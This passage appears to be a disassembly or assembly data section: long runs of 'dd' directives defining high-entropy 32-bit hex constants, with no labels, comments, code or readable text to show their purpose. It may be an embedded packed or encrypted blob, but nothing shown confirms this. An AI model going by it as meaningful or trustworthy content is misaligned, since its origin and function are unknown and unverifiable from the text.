		dd 93F6F505h, 0D0C03316h, 0B7A27E2h, 0AC073E83h, 0BE2AF840h
		dd 0AB6651C3h, 0D8A4FBB4h, 371C0AFh, 7C0BF45Eh,	0B17DBF6Dh
		dd 4BE14A01h, 8591D688h, 1980D7F1h, 9CDBB5F5h, 0B4009BC8h
		dd 6686525Fh, 0E83248h,	54920FD0h, 0E6CC08ECh, 7F7DB0F6h
		dd 0A0414F8h, 3A87A9F8h, 0C412F485h, 37B32305h,	78EC8C8h
		dd 77722340h, 0CA45F5D9h, 1AD840D0h, 5A88ADE6h,	488A5D83h
		dd 0AB14204Bh, 0B600EB34h, 0C542080Ah, 24D24B88h, 26C45E1Fh
		dd 0CC82278Ch, 1C5631D4h, 0A68E1B40h, 67F08334h, 3B00A4D9h
		dd 33B12ADEh, 0E25692F1h, 53D4023Ah, 0BBE16952h, 0AF2742C0h
		dd 0E71B3300h, 0CF1ED079h, 4BC92D49h, 0D8329418h, 0C312CD77h
		dd 0E090BE23h, 3C9A4429h, 0FE0004CAh, 0FC5281D9h, 4C7FF1A0h
		dd 41002275h, 0AA4AD610h, 9A74355h, 519984D4h, 57430CE4h
		dd 0E206F401h, 223661B3h, 0B4B8C0B4h, 1B37D5h, 0D4A42030h
		dd 63B0DC9h, 0D8039000h, 0E5B271AEh, 8A6A002Dh,	0B39CBE6Ch
		dd 0D4F6F463h, 98E0A401h, 0CDD616D3h, 502E0C20h, 5AEC3Ah
		dd 0FE187399h, 33A52395h, 27EBBE00h, 107B53C9h,	0C7500E32h
		dd 0D641496Eh, 0F493FDBCh, 3F0008D7h, 42DE433Ch, 5AAD32h
		dd 86490AA1h, 0B08F2B2Ch, 4FECC758h, 0DEFB1440h, 1D031BA8h
		dd 0FA802E99h, 8D1C8487h, 7604E0Fh, 2DBD6E22h, 0A1D76D00h
		dd 0DCD3A8ADh, 23CB0364h, 5F92D899h, 32C009EBh,	3D00456Fh
		dd 4925D92Dh, 1DE004h, 476C916Dh, 58B4CDDEh, 404CBC00h
		dd 0B08EBF6Eh, 0BA2B1213h, 3A18A0C8h, 0C879F589h, 694C1003h
		dd 0C008D0Ah, 19D5AAC5h, 0FA0294Dh, 5E1D951Eh, 8218C4F6h
		dd 64F99A39h, 3F843610h, 8084BC05h, 5E99AF37h, 0A4B16Eh
		dd 2835017Dh, 2E4A1E8Fh, 33765020h, 296A0089h, 0E082748Ch
		dd 6000497Dh, 90A7A526h, 0B04DE31Bh, 0E2425C04h, 0F4883330h
		dd 3A5228C7h, 19130024h, 31D2C46Ah, 75A20005h, 5F5428F8h
		dd 0BD2E61CEh, 7700A81Ah, 0FA6BE959h, 2C565899h, 2282B2C4h
		dd 98AC105Dh, 0CCCBEF25h, 0B5CC0030h, 0BD09297Ah, 7F00E7A4h
		dd 50357854h, 59EE147h,	3B2CC9Ah, 0E346C571h, 31E50020h
		dd 30E73C22h, 8F920029h, 0F288E05Eh, 0DF1343AAh, 0FC0CFDACh
		dd 128681B2h, 133F1E7Bh, 6D42034h, 5706B137h, 56297E97h
		dd 6C9C2D08h, 5DA00093h, 917C03C5h, 0D2A36A17h,	0D933B890h
		dd 406C05C1h, 0C3C527D1h, 2848A40h, 563F61B1h, 20F59728h
		dd 1A7363E8h, 5501E009h, 4C0D809Ah, 0EE95C10Ch,	15CC5CB3h
		dd 69F8362Ah, 0C071E92Eh, 1C09A828h, 80BA6812h,	7FEFE78Ah
		dd 73747738h, 0FE6918BFh, 3BDD80D6h, 0EFF6D503h, 843EAA18h
		dd 0E83198CDh, 1274D433h, 809E4546h, 0D3B2D5D4h, 56278107h
		dd 0EA274F36h, 0D74804C9h, 99C01CA9h, 517E9C9Ah, 0B258EF00h
		dd 0BCD47344h, 3FF23F48h, 6577D385h, 9ACD57Ah, 698ADAACh
		dd 0AE06034h, 980FC479h, 20CDBD9Bh, 1AA9671Ch, 3A110532h
		dd 22144328h, 87299B88h, 0BE489FD0h, 6AF4C84Ah,	31A02884h
		dd 3BF4458h, 8FF73A00h,	0E91366B1h, 9C1C1AFBh, 0C6214F0h
		dd 8260C0E6h, 360DC349h, 8595007Dh, 0BDCB60C8h,	0D605C6D3h
		dd 496D534Bh, 5B529488h, 2884545Bh, 9C7D87C1h, 0AA10D2B0h
		dd 0A82A657Fh, 0D518813Ah, 12243236h, 20B2063Fh, 0B4B38280h
		dd 604C07F8h, 55B600B0h, 0BDD35E1Ah, 30DC5E7Fh,	1C61B00Ch
		dd 0A04C394Ch, 33009AFh, 0CD7F717Eh, 0D480229Fh, 673EAB78h
		dd 0D8883C80h, 2F832224h, 0BC995B9Ah, 0EC80249Dh, 242B9A89h
		dd 0E0A2C348h, 50A6E4h,	0F43BFD51h, 0E3577F7h, 0B4A659C4h
		dd 0F6E97E82h, 7AC34C80h, 2A0067FCh, 0A7F7C13h,	16E0E4ACh
		dd 0BEC0DEC2h, 8C8EA800h, 4A39BB28h, 0C7F488F1h, 7C218500h
		dd 32F0EA1Eh, 0C55E099Dh, 40D19027h, 3FBE7F03h,	0CEC9E095h
		dd 0E8DF032Ah, 0E5A72114h, 998E4CD8h, 0B4E45224h, 0B0B4C849h
		dd 0EB230B82h, 5E005C09h, 0BB9238F6h, 3625A000h, 0BA7C1A6Ch
		dd 1635006Fh, 0E6CB12E1h, 0A63EB87Eh, 786980E0h, 0A805C02Fh
		dd 0BB670EECh, 6FA0CA93h, 1CE17EA6h, 0B16B353Bh, 27054113h
		dd 1B0008BEh, 0CB96AAB9h, 3DE4B77Dh, 6FA03307h,	6A16BA77h
		dd 5F70031h, 93D70817h,	843D9036h, 5829B05Ch, 3040EE91h
		dd 0D36912DCh, 450C444Dh, 416EBA46h, 87850097h,	0BED075C4h
		dd 0E900E08Ch, 8027AFAEh, 6456A7EEh, 4065708Dh,	86FB55B8h
		dd 1BC3036Ah, 13D9E2B4h, 40FE41E4h, 19105BABh, 332960AFh
		dd 0B38E90BCh, 453F003Bh, 0D98371h, 6A1A9D0h, 8A4B22Bh
		dd 1D29E460h, 0F1EFF2h,	607249EBh, 5A1E3120h, 1A8913Ch
		dd 8FE9660Bh, 30BE1829h, 0C1116806h, 0E2F0784Ah, 1F8C2401h
		dd 0BC38AC54h, 0A83905F4h, 241B5CACh, 0DECE90h,	9895013Ch
		dd 5F0005B0h, 54E771DFh, 1157F91h, 34ECF04Ch, 0EC8D43D6h
		dd 0EE60D3B4h, 0D5BDC161h, 3A40F883h, 9D1413BAh, 0B680B4F1h
		dd 53F5D262h, 84732406h, 539FF0Eh, 6D3D96F9h, 5BBBC054h
		dd 6B170CADh, 0FB00151Eh, 77494667h, 1D0A6B9h, 4A912A78h
		dd 0E00DCD41h, 99006A28h, 330F807h, 1D793CE7h, 80782115h
		dd 1824FA88h, 2E009556h, 6A5C4D46h, 2AE4ABD5h, 7B80349Dh
		dd 706E50E9h, 0ACB3316Fh, 0BBE531B9h, 0A5B980A9h, 0D33FD87h
		dd 21610A66h, 44242437h, 10F904E0h, 4170B244h, 420549B6h
		dd 72622980h, 2BA325F6h, 261BE601h, 0B8F71DE9h,	1E10EF4h
		dd 0BD8DB40Dh, 0F7646B53h, 0F334F914h, 540077A8h, 1161AC1Eh
		dd 59786A3h, 40F5034Eh,	21BC40D6h, 41A5AE72h, 48627800h
		dd 44282511h, 80994817h, 98314D00h, 8D4BB495h, 7B1EF202h
		dd 90380532h, 118A88h, 8C68B429h, 2298B7CAh, 28AAFC3Ch
		dd 31004866h, 608D52FEh, 18975517h, 10ABB444h, 77088F1Fh
		dd 3EB2046Fh, 0E2088B30h, 0A030FCB8h, 0DE8429D5h, 939D1FCAh
		dd 10A88033h, 3D052A6Eh, 3AD689C7h, 930C1370h, 5D5E1543h
		dd 0EF34A815h, 41C6C7C8h, 8A10B16Fh, 986E6B19h,	3FEAB860h
		dd 119E17AFh, 59EE18E4h, 31C364DCh, 88333B0Ch, 345F7h
		dd 66AF9952h, 0FF9DC7EEh, 40BE8C00h, 4936D641h,	0B7E81DBCh
		dd 0C0CFC061h, 0DC81829Ah, 8DB0E248h, 811D033h,	2AF0BBD5h
		dd 0CED725Bh, 65B16CBAh, 0E7603121h, 12472329h,	0F2E5002Ah
		dd 2BAD1BC4h, 0F3980E29h, 2C192D24h, 0C83AB79Eh, 62A5C058h
		dd 58D7CCh, 0B976505Fh,	92266F95h, 0F0C19E44h, 1949F296h
		dd 502D28BDh, 2841B2B8h, 784A20E3h, 6D3068DAh, 54316123h
		dd 0A8667A6Bh, 52BB6FA4h, 623AB011h, 0F20A3144h, 4CFA3F01h
		dd 94043D3Ah, 90835F4h,	7146726h, 5FF0C166h, 0F4D6DBh
		dd 5332B054h, 0F6296AEh, 0BC004370h, 6114C6DDh,	19CF37h
		dd 82EE9DACh, 778A3559h, 8B879804h, 4C86168h, 922529BCh
		dd 0B6200B8h, 7D7931BEh, 49965400h, 7C95269Ch, 18D6033Fh
		dd 0EE82515Eh, 0BF08E598h, 880B5A00h, 0AA8631B7h, 5B770087h
		dd 5E5C995Fh, 3910B6AFh, 0E50E151Fh, 66AC7219h,	0DA031D79h
		dd 708455BAh, 0BCE82476h, 33F40ABCh, 0E006087Ch, 0A1F00E0Ch
		dd 0EF0C0093h, 622FCCBCh, 0AB0015A3h, 3140B151h, 26441874h
		dd 30E90510h, 6F3F4931h
		dd 0E01949h, 239FF74Fh,	9B40F6EFh, 0EC621EBCh, 727402B8h
		dd 0C800EECh, 15F1B00Fh, 0EAE3CE1Eh, 81100A4h, 0E86CDC15h
		dd 0ED6528h, 96394A50h,	36A1F27Dh, 371D5D16h, 709E604Dh
		dd 80DEE081h, 0E05BFF25h, 5604B30Ch, 9CE46403h,	48A580CCh
		dd 79DC017h, 0CA0AA6E3h, 0C0041F08h, 0B78B55EAh, 8400DE58h
		dd 545E4AECh, 0B36109A6h, 74EE1474h, 42B408D2h,	17B05580h
		dd 600E9C75h, 0B8F921D9h, 7C040D72h, 0C242AE0Fh, 22695C82h
		dd 0B120DA31h, 38B2D67h, 85027A92h, 19D00541h, 0E9013F54h
		dd 345E1B68h, 3180E431h, 4B02BE29h, 100B09Fh, 0CD3ADCEBh
		dd 910E33Eh, 4FB994D4h,	0A9C0A807h, 0E9E43402h,	6BE3465h
		dd 7338B73h, 609400BEh,	0A438496Fh, 0B4031503h,	0DCFA1EF4h
		dd 131066Bh, 5033BE61h,	83E921F2h, 530EE0A0h, 45697D38h
		dd 45FC3034h, 7080A178h, 0D9312211h, 1B7B6C0Eh,	0FC43207Fh
		dd 20844A6Fh, 0BC134F4Dh, 0A0088D6Bh, 55018716h, 6230C057h
		dd 19C23127h, 80ED08B4h, 0BA117828h, 0B818745Ah, 220C42D4h
		dd 6063753Ah, 90018CF8h, 1B082BCh, 8E8A8418h, 228D5B79h
		dd 8003E05h, 7C2C8949h,	186D4A58h, 71D831F5h, 0C5008A1Bh
		dd 979C2057h, 2C48E4F6h, 40CC0EFAh, 5811422h, 7DCFD200h
		dd 0B06D02E3h, 0A6900Bh, 0DD59A683h, 0E42A29BDh, 0E6E6E275h
		dd 0ED263CA0h, 4D808499h, 0EC32C9A4h, 0A27700F8h, 750EB555h
		dd 0BE18FA7Ch, 9AE910BAh, 8A8500E0h, 533E1462h,	8700B97Ch
		dd 1E32338h, 0CE2BBEh, 653B6145h, 30556D6Bh, 0A4DBBC80h
		dd 11F00F0h, 3F8E4DF1h,	363E2E7Bh, 6B701F8Ah, 5A543EC2h
		dd 0D8CC82E4h, 951A01E2h, 0CC342005h, 0BA0C7494h, 5779167h
		dd 0B9A157EFh, 282C8C2Ah, 15CA9800h, 55F27008h,	29931026h
		dd 686F100Fh, 40334C4Ch, 3DCBC68h, 88FFE4B6h, 0C82D58B0h
		dd 0AE1F4F88h, 901E7A20h, 62BB1230h, 26102020h,	5588E399h
		dd 7940B83Fh, 12F10928h, 0E04BEBE4h, 29BE0EF3h,	29437C00h
		dd 8A226DF2h, 0A159C8B6h, 0A9DCC6h, 8B98E035h, 0E746DE39h
		dd 0D0003BEAh, 0BD28E3D2h, 243BAC6h, 36BC4D8Dh,	5C46DD62h
		dd 10EED621h, 0EFE41368h, 0BBD45830h, 0B51A886Eh, 89EB0804h
		dd 178341D2h, 0D93AD860h, 199505FEh, 191198C2h,	1242D860h
		dd 3464DCh, 0AD25A3D2h,	44BDC014h, 30FD0700h, 53BB9509h
		dd 291760ABh, 0AD4C5F19h, 0EBB108A8h, 37BE4D03h, 536AB96Fh
		dd 8700E419h, 0A2DE9443h, 1500F53Ch, 77E5F132h,	9639E8B8h
		dd 0E4DCA608h, 105832B9h, 0B9C04405h, 0B3C2FC0Ah, 937004Eh
		dd 43116A10h, 5D0BD999h, 1959F7A1h, 5510E2A4h, 41C0A851h
		dd 59437135h, 904826h, 0B0EB4980h, 0C614FB8Eh, 0C313Fh
		dd 0C584CB7Ch, 3B06490Eh, 0B9874D93h, 40A0E7E0h, 9F6013E2h
		dd 1150114Ch, 630048D0h, 0EEE3E58Dh, 0DC305BB1h, 48FD796Eh
		dd 9FC000B9h, 0FA5E123Dh, 0FCA20863h, 3F42C86Ch, 352AD701h
		dd 10E0DD83h, 7210A62h,	33A2B146h, 5228504h, 57C3108h
		dd 0CC6BB5C4h, 0E28B667Ch, 0B6DC90B8h, 191167BAh, 0D8CB083h
		dd 900FF01h, 6C2CBBEEh,	94879Bh, 0BA885CB6h, 0B3865836h
		dd 0E024D701h, 6CA95F54h, 0F84844E1h, 0A23D88E6h, 0DACA8F00h
		dd 0DFF8B6AAh, 0E3AE410h, 6B0B7B26h, 80D77725h,	66DCBC0Ch
		dd 4BEB41C0h, 85A66Fh, 0CC591788h, 601B58FFh, 0AA73BD07h
		dd 83503413h, 8639DEh, 2BE2AD4Fh, 9D484E8Ch, 0CB05DA75h
		dd 60017811h, 98C3A812h, 7142D4ADh, 0F8B055A0h,	871C864Ah
		dd 0E940CB1Eh, 0BA5430A7h, 0C3009C7Bh, 45927805h, 0FD83C8AEh
		dd 80FC7BC4h, 0D210C8A4h, 683A7702h, 4250CAE2h,	2ED86438h
		dd 40ACEAE4h, 0FF3CB955h, 3416F4A4h, 48055818h,	20C9AE99h
		dd 82DDCFDh, 96720A07h,	7568F28Eh, 0C44C3CCAh, 6E8BC003h
		dd 90A430A1h, 416490h, 58B1D161h, 5A055437h, 248DB048h
		dd 4040ACBAh, 39A7BFAFh, 0DF1FED99h, 5A3480F0h,	0B4F50F1h
		dd 222C6658h, 0A42490E6h, 0BAC29044h, 0A7B9C058h, 0D4B4035Ah
		dd 7020E8BBh, 58A4BE50h, 9D18E902h, 0A0968A40h,	0DB25BC74h
		dd 0B38700B0h, 5446F606h, 9D02CBB6h, 0BD0874FEh, 53F0C0B9h
		dd 2C3452BCh, 0E770B230h, 357E7249h, 148FA098h,	2CB383BFh
		dd 1022590Ch, 0B4542AC0h, 951FD073h, 30BA2047h,	1DC16426h
		dd 1A588Ch, 0C3F91D4Eh,	3B5C5E05h, 65DC1574h, 69D00D0h
		dd 91DAF63Ch, 2F010051h, 0F7F350F9h, 0C909D985h, 0B1317082h
		dd 0C110EFD0h, 0DC07E6EBh, 0B7A5EA02h, 4C9256F4h, 5C990BE3h
		dd 6EFC70ECh, 0ED942611h, 0E082B059h, 84634B97h, 9CC539A3h
		dd 0B4001FC0h, 0A60A228Eh, 0B7A196h, 1D28B538h,	0B617A5FAh
		dd 24511C2h, 3E0841BCh,	0E344EC08h, 0AB523449h,	0B008C119h
		dd 64235Bh, 6DBB4705h, 1465B691h, 74F09626h, 7CC0A458h
		dd 1E08295Eh, 867FF900h, 8298A996h, 0E2FA2DDBh,	226AAC24h
		dd 0E9032130h, 0A755E076h, 0F5037EEEh, 8486D90Bh, 0FE6CD0C7h
		dd 442918B0h, 3D9DC0ECh, 0E0942284h, 0E8BDC100h, 234AB90h
		dd 2EA2E893h, 47E40E54h, 1733A192h, 0E02CE846h,	3EFC50Fh
		dd 265A40A9h, 3982B2C3h, 4F128FE8h, 0D8649335h,	0B44A5898h
		dd 29366207h, 0B360FE42h, 1843201h, 2D827C26h, 3C636B77h
		dd 0DF85804Ch, 3BFE79FBh, 36009E5Ah, 0F21DDB0Ch, 2B3CFABEh
		dd 425B01B4h, 6CBAAC18h, 59C63980h, 2AEA76Fh, 0CB583A00h
		dd 0A4D4E9B0h, 120178C8h, 13605CE1h, 0CBF830F0h, 791FDD42h
		dd 3801DDEh, 5718326Dh,	0EB8A0528h, 9CEEC6C0h, 1800F684h
		dd 8F2446BBh, 6CEB86h, 7C04D402h, 3FDAB2C1h, 0B8E27340h
		dd 0ED4120BCh, 70616B2Ah, 0E5D72C02h, 71121EE2h, 27542E8h
		dd 0EA47F482h, 109810C2h, 0D006497Fh, 65D2828Dh, 5541C018h
		dd 0DADB62B0h, 9DCCF600h, 0BD0AD1E7h, 0AC9248FDh, 2B83FBB0h
		dd 0B9B37F0Fh, 0AC84E22Dh, 43BCC9B2h, 0C0034069h, 28884C7Ch
		dd 81B4E2C0h, 1A471502h, 0E627F6E4h, 2CB1006Ch,	8A8BA873h
		dd 6F98A595h, 6068B51Eh, 90A7C064h, 0A1D59Ch, 248ED7Ah
		dd 0BF6A5ECCh, 950F2701h, 0F35847FEh, 71E2B0E0h, 5CDA3FF2h
		dd 25A19901h, 20C1DB88h, 0B95196C8h, 0F3783008h, 641A29CBh
		dd 17940FC8h, 0FEC08ADCh, 55C41E46h, 831CC902h,	0E80AA6DAh
		dd 26455484h, 6068BEFAh, 0E41BD3E3h, 4DD1841Fh,	0A0B4C83Ch
		dd 7C8889C8h, 311A0043h, 1BA4FFF0h, 0D100D79Bh,	97C82662h
		dd 3CEF2E5Ch, 0D006139h, 0B55A5D16h, 9C1F14D3h,	200184F9h
		dd 6646D787h, 44551883h, 0E3A0BFD4h, 5C0016DCh,	31A1EDCDh
		dd 7DE284h, 428D11DDh, 53037919h, 1FFB8600h, 0FFE530F0h
		dd 4CA092BEh, 4C04FC01h, 0C169D3A7h, 715940E8h,	4F984827h
		dd 0B6211C5h, 91261404h, 0EC198C8h, 1B05B986h, 134400B6h
		dd 0FE38D072h, 16FA9C09h, 0EF0C4CC2h, 2DEA8610h, 90D73709h
		dd 0A60444BAh, 284400CCh, 1D507329h, 0A20062E3h, 0A1D0CEFBh
		dd 1060A9FEh, 24480F9h,	986D6B34h, 0F5805233h, 19C0E46Dh
		dd 3A25DD4Fh, 2F27B81Ch, 0A426E601h, 6830D488h,	7DBA8986h
		dd 0DEA0040h, 14CDFB79h, 729C02ADh, 0D9F20359h,	9F57C0D7h
		dd 0B05E02BEh, 4A8ABF6Ch, 231E1041h, 7291480Ch,	2B0B60ECh
		dd 13F5324Eh, 2A28E02Ch, 54BA506Fh, 2ECBEB6Bh, 401C0539h
		dd 9E5140FAh, 0BA279012h, 2574491h, 0AE34D0h, 6F1FA45Eh
		dd 0E5BDEF82h, 0CBBCED13h
		dd 0C066AC1Dh, 0D3F1C140h, 11656068h, 0B79ABDE1h, 3E4754A8h
		dd 2365B905h, 78CC8088h, 6FE87Fh, 10510E73h, 9A9CEA2Dh
		dd 9052C225h, 3DB89968h, 0ED283DCEh, 0A09628D3h, 3BEA0708h
		dd 0A04D55BCh, 0BA296138h, 9DAE1912h, 511EAFh, 488BC785h
		dd 55F84E1Bh, 2A0FBD00h, 0E43FA3BCh, 843254EAh,	14EF585Fh
		dd 648E5E07h, 0B0E08B46h, 813C68A3h, 33325CCDh,	0C038B90Dh
		dd 0E807453h, 6ADFFAD3h, 89D815C0h, 9A04954Fh, 0F10EFD65h
		dd 7BB0B4h, 5AE88586h, 0E5CA07BDh, 3675B77Ah, 8C9D293Ch
		dd 0F163DBBCh, 7597028h, 0F87C124Bh, 95A8A13Ah,	27E9DC05h
		dd 93E33600h, 62B1D932h, 4C30FA3Ch, 6031E8C2h, 39B9B641h
		dd 6B03723Ch, 743D8151h, 94F4B044h, 12BD07D7h, 5028A58Dh
		dd 780BD4B3h, 0C08B2D24h, 4B2E507h, 421F1C82h, 0D4080ADCh
		dd 5E290A18h, 8F84004Ch, 6F361B44h, 0D9FE372Ah,	0B461BB00h
		dd 0A432A1D6h, 245A0207h, 55A04E8Ch, 0C600BCE6h, 252F8597h
		dd 0B896FCh, 0A88CA699h, 9B3BE3F4h, 4C5D4D05h, 0D4A7EC82h
		dd 0D338281Eh, 2AC88CCh, 0AEA1120Fh, 8A1D018Eh,	0BAC1817Bh
		dd 0BA1A5CC4h, 0E6910B4Ch, 0F0C8AC40h, 5A00A319h, 2E7C155h
		dd 7106A50h, 1F915432h,	0ECF0F281h, 63952E61h, 5E816098h
		dd 98B98156h, 1064B9A8h, 342120D1h, 8019B56Fh, 111858C4h
		dd 0B4076EC2h, 10C451D0h, 0B5BC827h, 0B41BEB26h, 327239B0h
		dd 96D4E509h, 9DCC48A3h, 987C96F4h, 0E89D893h, 0FB81CC9Eh
		dd 45E49959h, 7A95F8h, 0EE859446h, 13975642h, 510C80A4h
		dd 0B8D7B25Eh, 0AEBC8031h, 0F4CCD802h, 0BCC3F386h, 4B387D74h
		dd 0C1A44F90h, 5006AA07h, 0BAB96E39h, 1B0CED03h, 0F85EBC54h
		dd 25AF420Bh, 4418C225h, 5B0CBB71h, 49F49626h, 28E55BE4h
		dd 38007E70h, 0C176F30Bh, 1D6AA4F5h, 0DCD383h, 9ED6A0BBh
		dd 5F0145F4h, 0BD0512A9h, 0A051CB2Fh, 0F02D2062h, 0DAEF260Ah
		dd 0FC18A534h, 831F3807h, 50450EEh, 3C9DFEEFh, 0AA005823h
		dd 0DEF912F8h, 0F100EF31h, 3DC289EEh, 0E47B5BFFh, 1E1C0076h
		dd 12ED4534h, 0EF2F1FC7h, 7988B41h, 0C44A5777h,	798C4D41h
		dd 1FFAB3D0h, 0BE733034h, 30BB5E13h, 0E95C2D9Ch, 0B10DB00h
		dd 55CB5FFCh, 911F0CDFh, 0DE81904h, 0E53FB909h,	148C8AD3h
		dd 12F3E340h, 11100190h, 2240FD49h, 3C342162h, 0CF48807Ch
		dd 41FACAh, 0D6F7E9ABh,	33AE15B8h, 0C027383Bh, 8401955Bh
		dd 0E06BBA35h, 3778BC4Ch, 1EE36044h, 2C6C12F5h,	24D426ABh
		dd 8E870028h, 82A5EF5Eh, 5248B960h, 5A6235BCh, 0D5A02222h
		dd 5E021019h, 188430B2h, 0B1194113h, 5E3BE5Bh, 990EE0C8h
		dd 0E258E0D8h, 4B263D44h, 0CD1C35E8h, 68380634h, 5ABF8F01h
		dd 0B9B78D23h, 0BEB848h, 9F3460A0h, 0D3622FF9h,	0ED4DB200h
		dd 13B189B3h, 5107405Bh, 3A44A807h, 0BE018AABh,	8880D8E2h
		dd 4F992B2Dh, 250079E7h, 9BF09DF5h, 0E2EE7E48h,	345E09B8h
		dd 3C443727h, 9CCC260Fh, 0E6920A7h, 14D5E55h, 0B7BB0181h
		dd 0C8403C20h, 0F0B45212h, 454B63C2h, 0E9E48954h, 6FE23CC4h
		dd 0C04E8525h, 887BB918h, 165A606Bh, 43BD870h, 0D97AFCh
		dd 1E24CCF0h, 0D6CAF32Dh, 0B870ED02h, 0D95A68D8h, 0A2B11200h
		dd 4C8CD2DCh, 241B24B6h, 15020BCh, 4E4FBCBh, 7CAD4CC2h
		dd 2D63E3Ch, 992655ABh,	116C79F2h, 0A8884B3Bh, 244B98D6h
		dd 6F902A17h, 8809F160h, 615C4D08h, 46F410D8h, 30E0C4h
		dd 1FB7EBBCh, 407C9C69h, 30E65A09h, 0D7D26C05h,	0D4C8B954h
		dd 0BAA8A583h, 5B75C97h, 0E4E242C4h, 2499EB68h,	1EBC830Fh
		dd 8E780868h, 0A0E5C204h, 4CA0F8B2h, 3B18BEEh, 0EB79EC81h
		dd 0FACC80Ah, 0C42598C9h, 0A6CC01FCh, 3ECE094Ah, 0C482F1E8h
		dd 0A7730EDDh, 50FAB000h, 1D376611h, 0E5730789h, 4072719Dh
		dd 0CC337EC0h, 3895BC07h, 0B0107C40h, 0B6542458h, 0E2D54000h
		dd 0BA026801h, 76C8BFB3h, 6DE160CFh, 0B8DA4905h, 58972614h
		dd 0EEBC105h, 0C2D0E2B9h, 4837A055h, 0B36DA3B4h, 4C10A98h
		dd 0CD4040E4h, 7C01F19Ah, 6EB242CCh, 22C6E593h,	0AA608A1Ch
		dd 552F7712h, 0E6F429C2h, 1022FFF4h, 0C71EFA00h, 88A15133h
		dd 0A9B15D00h, 0AA5B06CBh, 0DC2B31A8h, 0E32A41h, 0D341E1E4h
		dd 22B41E69h, 0E2EC9097h, 914738C9h, 79B83302h,	5C61D5A3h
		dd 5B0265Eh, 49CB844Ah,	0E50904E2h, 546812D5h, 312EDC60h
		dd 89055C93h, 0ECF45968h, 81266005h, 812D70CCh,	0D0C4EF00h
		dd 1FFFF057h, 4CF3907Dh, 20240C15h, 0EF55038Ch,	1AB23AB4h
		dd 14454459h, 0A8FFC05Ch, 0BC81B2FDh, 70272FC1h, 0CC8FBD70h
		dd 0F65000B1h, 67EF547Ah, 89830FDh, 0E37C109Dh,	0B0840E13h
		dd 47802A96h, 7942FF3Bh, 3F410C00h, 53A17BFAh, 9973004Ch
		dd 0C05425A0h, 0DB099D9Fh, 0B1C592h, 0D30A622Dh, 5F9A035Ah
		dd 633005B3h, 0CDFBC1B0h, 0AA168B00h, 0E318F4E2h, 6B7413D9h
		dd 0B524326Fh, 9D086119h, 0E578DC01h, 4A7137E7h, 0FA8030h
		dd 99442AFEh, 0CE5AE640h, 0EDAAFF00h, 0E39D273Dh, 2C5000B4h
		dd 5BB216E5h, 142AA0ECh, 0DF712861h, 0B0462120h, 11DE60A4h
		dd 0C9EC5EBBh, 49B10100h, 63BAD60Ah, 852F04D7h,	0C70EF5D8h
		dd 0EC8C5E81h, 90000BA1h, 0DFB5635Ah, 91BBCC45h, 8FFA0024h
		dd 0E7CBD354h, 1276FB3Eh, 10220BB4h, 0A994C05Ah, 20555F29h
		dd 0EAAA0D38h, 5C41758h, 49BFD8DEh, 4605F482h, 211A0750h
		dd 204442D6h, 54402C45h, 553DA912h, 600944A3h, 0C4831DDh
		dd 230158B7h, 0FCB1995Fh, 4828B6EBh, 15AA502h, 2119D2B4h
		dd 14BB4B0Ch, 13951FBEh, 53B87F40h, 58C4AF9h, 9FE87B14h
		dd 0CE0CC450h, 90CD97F0h, 0B9E5030h, 4FEE8040h,	42F4940Ah
		dd 0DC90AF99h, 0AC9419E7h, 181B810h, 2F45E6E4h,	0E9373871h
		dd 0F9DBE8h, 3E9BC495h,	0A38E0D19h, 0FE9D3414h,	0AD970930h
		dd 55BC4861h, 5C2A5CA9h, 7DDDD109h, 0D7759482h,	14712CE2h
		dd 9688F900h, 159195h, 6ACA9F9Dh, 0A50D0143h, 0E6AC5601h
		dd 6607F47Ah, 96843828h, 52C143ECh, 82B2B877h, 27EE7784h
		dd 3466F2E5h, 0C0263401h, 67DC35E4h, 0C35FA984h, 9FCFC0A5h
		dd 0B81DA1C6h, 4581543Fh, 9647D3CEh, 92221C79h,	0DA9D5E00h
		dd 29E333E6h, 53980019h, 3FC85FABh, 50009680h, 3A9A1BC5h
		dd 0BCBC021Dh, 0EED580Ch, 0F48CCF4Eh, 2461003Fh, 0F330B908h
		dd 66EAD7B2h, 0EE0CB50Eh, 1CA27344h, 2180093h, 54DD146Bh
		dd 0AEBB9300h, 56C22EDh, 469417E0h, 0FF98C060h,	148017D6h
		dd 4C347B01h, 418008DBh, 0C4A5D3ECh, 5436B500h,	30D5A199h
		dd 45C002CBh, 0D40AA6FAh, 0F2BE08A4h, 0F7613860h, 0B9812809h
		dd 5E909192h, 0E29D9C6Dh, 2A513900h, 0DC97C3D6h, 0EE497FC9h
		dd 0EECA71Bh, 0D26E6B55h, 9CC2B680h, 0BDE8ABF8h, 9A78E07h
		dd 0F2825F4Bh, 0EDC8C01Dh, 968A0C54h, 351948B9h, 0B538F4A8h
		dd 6F611E0Eh, 0F8A2B2B2h, 31036B22h, 0AB8476D2h, 9D9CE9A0h
		dd 0FACBA8DBh, 4E504E6Fh, 0CE2F6BDCh, 713D0110h, 2F347C60h
		dd 0B4080304h, 294F6A0Ch, 1902898h, 1F23A749h, 0D024DF92h
		dd 394BE5E4h, 8BEC60C8h, 0DCD48CE5h, 5858A250h,	34B43300h
		dd 87399E0Ah, 7537FC2h,	0D7D35BA4h, 310860D4h, 1DE65196h
		dd 34282101h, 0D25C26BEh, 35220881h, 6AFDAB5Dh,	24186832h
		dd 26E4C179h, 83647CEFh, 9023F29Dh, 4993CC6h, 0EA64E2B9h
		dd 960081EDh, 0C0845A1h
		dd 5292084h, 0D66CB0BCh, 0B031E67Fh, 28355E84h,	0B4B4CD8Ch
		dd 19676804h, 0D2BF135Fh, 30D431B0h, 6EA90B80h,	0E3FAA4Eh
		dd 69114D2Eh, 0BE508480h, 0D101BA09h, 0E43E2A1Bh, 0A04820E2h
		dd 4F6C8866h, 2250F900h, 8E483928h, 0E0260382h,	0B993C821h
		dd 71EEE4B9h, 81A46CA0h, 0CCD0502Dh, 2B9B020h, 9026D38Ah
		dd 58600FC2h, 0E701FFC1h, 53BB1227h, 0EC7909A6h, 0BEAE453Eh
		dd 410D0860h, 551970ACh, 1EFD1458h, 0E2F58D0h, 8A16A554h
		dd 9DCEA640h, 0EA175AD8h, 9800E478h, 62011C5Eh,	75180205h
		dd 0E825B0FDh, 74B674D2h, 29EFD940h, 0A9B407E2h, 2018BC6Dh
		dd 2DFA94FFh, 67626B14h, 91B08EACh, 0F93E1E0Bh,	0EB468C8h
		dd 8EE26E7Fh, 7405FA2Ch, 36116F19h, 0B28C90E2h,	991F00D8h
		dd 0BAE6E3D4h, 3005377Dh, 4AEFDCF7h, 58DC68ACh,	0E7BCA9FDh
